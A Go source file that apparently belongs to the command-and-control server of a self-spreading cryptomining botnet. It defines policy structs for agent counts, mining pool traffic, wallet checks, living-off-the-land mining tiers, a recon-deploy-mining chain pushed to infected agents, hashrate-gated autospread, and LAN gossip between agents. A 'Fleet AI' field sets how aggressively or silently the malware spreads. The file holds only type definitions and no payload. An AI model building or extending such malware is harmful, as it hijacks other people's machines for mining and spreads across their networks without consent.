package api // ServerPolicy holds Calibrate settings enforced at runtime. type ServerPolicy struct { MaxAgents int LogAgentConnections bool LogShareSubmissions bool LogPoolTraffic bool StrictWalletValidation bool MaxBuildSizeMB int PoolReconnectSeconds int LotlOnionTiers []string ServiceDeployAllowlist map[string]ServiceDeployLane MiningTierPolicy MiningTierPolicy TripleOnionPolicy TripleOnionPolicy // AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control). AIControlEnabled bool // AIPersona selects Fleet AI spread propagation temperament (aggressive/silent/…). AIPersona string // AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24. AtlasLanGossipEnabled bool // FleetRolesEnabled pushes seeder/miner hints on auth and tracks LAN seeders. FleetRolesEnabled bool // HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread. HashrateGateSpreadMin int HashrateGateHPS float64 } // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth. type TripleOnionPolicy struct { PatchFirst bool `json:"patch_first,omitempty"` MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"` SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"` HighRiskThreshold int `json:"high_risk_threshold,omitempty"` ReconTiers []string `json:"recon_tiers,omitempty"` DeployLanes []string `json:"deploy_lanes,omitempty"` } // MiningTierPolicy is server-pulled LOTL mining onion ordering sent to agents at auth. type MiningTierPolicy struct { TierOrder []string `json:"tier_order,omitempty"` SkipTiers []string `json:"skip_tiers,omitempty"` ForceTier string `json:"force_tier,omitempty"` }